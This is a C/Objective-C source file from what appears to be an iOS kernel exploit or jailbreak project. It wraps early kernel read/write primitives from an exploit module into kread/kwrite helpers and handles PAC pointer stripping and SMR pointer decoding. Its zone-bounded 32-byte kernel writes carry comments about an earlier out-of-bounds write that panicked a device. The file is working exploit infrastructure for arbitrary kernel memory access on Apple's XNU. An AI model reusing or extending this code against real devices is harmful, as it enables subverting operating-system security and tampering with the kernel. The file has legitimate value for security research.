#import "krw.h"
#import "kexploit_opa334.h"
#import "kwrite_counter.h"
#import <stdint.h>
#import <stdbool.h>
#import <stdlib.h>
#import <unistd.h>
#import <string.h>
#import <stdbool.h>
#import "xpaci.h"
#import "offsets.h"

extern bool gIsPACSupported;

bool is_kaddr_valid(uint64_t addr) {
    if (addr < VM_MIN_KERNEL_ADDRESS || addr > VM_MAX_KERNEL_ADDRESS) {
        return false;
    }
    return true;
}

uint16_t kread16(uint64_t kaddr)
{
    return (uint16_t)(early_kread64(kaddr) & 0xFFFF);
}

uint32_t kread32(uint64_t kaddr)
{
    return (uint32_t)(early_kread64(kaddr) & 0xFFFFFFFF);
}

uint64_t kread64(uint64_t kaddr)
{
    return early_kread64(kaddr);
}

void kwrite8(uint64_t kaddr, uint8_t val)
{
    uint64_t what = early_kread64(kaddr);
    early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFFFF00ULL) | (uint64_t)val);
}

void kwrite16(uint64_t kaddr, uint16_t val)
{
    uint64_t what = early_kread64(kaddr);
    early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFF0000ULL) | (uint64_t)val);
}

void kwrite32(uint64_t kaddr, uint32_t val)
{
    uint64_t what = early_kread64(kaddr);
    early_kwrite64(kaddr, (what & 0xFFFFFFFF00000000ULL) | (uint64_t)val);
}

void kwrite64(uint64_t kaddr, uint64_t val)
{
    early_kwrite64(kaddr, val);
}

uint8_t kread8(uint64_t addr) {
    uint32_t low = kread32(addr);
    return (uint8_t)(low & 0xFF);
}

void kreadbuf(uint64_t addr, void *buf, uint64_t len) {
    for (size_t off = 0; off < len; off += 8) {
        uint64_t val = early_kread64(addr + off);
        size_t chunk = (len - off >= 8) ? 8 : (len - off);
        memcpy((uint8_t *)buf + off, &val, chunk);
    }
}

void kwritebuf(uint64_t addr, const void *buf, uint64_t len)
{
    for (size_t off = 0; off < len; off += 8) {
        uint64_t val = 0;
        size_t chunk = (len - off >= 8) ? 8 : (len - off);
        memcpy(&val, (const uint8_t *)buf + off, chunk);
        if (chunk == 8) {
            early_kwrite64(addr + off, val);
        } else {
            uint64_t original = early_kread64(addr + off);
            uint64_t mask = (1ULL << (chunk * 8)) - 1;
            early_kwrite64(addr + off, (original & ~mask) | (val & mask));
        }
    }
}

#ifdef DEBUG
void khexdump(uint64_t addr, size_t size) {
    void *data = calloc(1, size);
    
    for (size_t off = 0; off < size; off += 8) {
        uint64_t val = early_kread64(addr + off);
        size_t chunk = (size - off >= 8) ? 8 : (size - off);
        memcpy((uint8_t *)data + off, &val, chunk);
    }
    
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        if ((i % 16) == 0)
        {
            printf("[0x%016llx+0x%03zx] ", addr, i);
        }
        
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i+1) % 8 == 0 || i+1 == size) {
            printf(" ");
            if ((i+1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i+1 == size) {
                ascii[(i+1) % 16] = '\0';
                if ((i+1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i+1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
    free(data);
}
#endif /* DEBUG */

uint64_t kread_ptr(uint64_t va)
{
    return xpaci(kread64(va));
}

uint64_t kread_smrptr(uint64_t va)
{
    uint64_t value = kread_ptr(va);

    uint64_t bits = (smr_base << (62-t1sz_boot));
    
    if((value & bits) == 0) {
        return ((value & (0xFFFFFFFFFFFFC000 & ~bits)) | bits);
    }
    return (value & 0xFFFFFFFFFFFFFFE0);
}

// BUG.1 step 3 - the object window a caller can declare for the writer below.
// A 32-byte block is the only width early_kwrite32bytes can emit
// (EARLY_KRW_LENGTH), so every block must be provably inside its target
// allocation before it goes out. The SE (2026-09-11, SG.8/SG.9) proved the cost
// of not checking: a 32-byte block at +0x50 of a 96-byte kalloc.96 object ran 16
// bytes past its end and XNU's zone bound check panicked the phone
// (zalloc.c:1322). size == 0 means "nothing declared", and step 3b made that a
// REFUSAL for every write rather than only for a shifted tail block - the SE
// write was an exact multiple of 0x20, so the tail rule never saw it.

static uint64_t g_zone_elem_base = 0;
static uint64_t g_zone_elem_size = 0;

void kwrite_zone_element_set_object(uint64_t base, uint64_t size)
{
    g_zone_elem_base = base;
    g_zone_elem_size = size;
}

void kwrite_zone_element_clear_object(void)
{
    g_zone_elem_base = 0;
    g_zone_elem_size = 0;
}

// The two kernel block primitives that krw_zone_write.c drives. The bound
// arithmetic there is written against KRW_ZONE_BLOCK_LEN; the primitive emits
// exactly EARLY_KRW_LENGTH bytes. If those two ever drift apart the guard would
// describe a different write than the one that goes out - which is the class of
// mismatch that panicked the SE - so it is a compile error, not a comment.
_Static_assert(KRW_ZONE_BLOCK_LEN == EARLY_KRW_LENGTH,
               "krw_zone_write block width must match early_kwrite32bytes");

void krw_zone_read_block(uint64_t where, uint8_t *buf)
{
    kreadbuf(where, buf, KRW_ZONE_BLOCK_LEN);
}

void krw_zone_write_block(uint64_t where, const uint8_t *buf)
{
    // BUG.5: the route this write took, for the engine's measured write counter.
    kwrite_src_t prevSrc = kwrite_src_push(KWRITE_SRC_ZONE);
    early_kwrite32bytes(where, (uint8_t *)buf);
    kwrite_src_pop(prevSrc);
}

// The decision + the block loop live in kexploit/krw_zone_write.c so the host
// test (scripts/run_krw_zone_write_host_test.sh) can run the real thing against
// a fake kernel window instead of a device. The three entry points below are
// thin: they only resolve the object window, and all three return the writer's
// verdict (BUG.1 step 3b) so a caller can see a refusal instead of assuming a
// write happened.
krw_zone_verdict kwrite_zone_element(uint64_t dst, const void *src, uint64_t len)
{
    return krw_zone_write(dst, src, len, g_zone_elem_base, g_zone_elem_size);
}

// Same writer with the enclosing object passed by value, so no global window is
// left behind for a later, unrelated write (RemoteCall keeps several kernel
// threads interesting while the shmem path runs).
krw_zone_verdict kwrite_zone_element_declared(uint64_t dst, const void *src, uint64_t len,
                                              uint64_t objBase, uint64_t objSize)
{
    return krw_zone_write(dst, src, len, objBase, objSize);
}

// BUG.1 step 3b: the qword write the staged write probe uses for every field it
// touches, clamped exactly like the range writer above. This is the path that
// used to be `early_kwrite64` - an unclamped 32-byte RMW at an address nothing
// had verified (0.13's BUG.7, and the same write class that panicked the SE).
krw_zone_verdict kwrite_zone_element_qword(uint64_t dst, uint64_t value,
                                           uint64_t objBase, uint64_t objSize)
{
    return krw_zone_write_qword(dst, value, objBase, objSize);
}


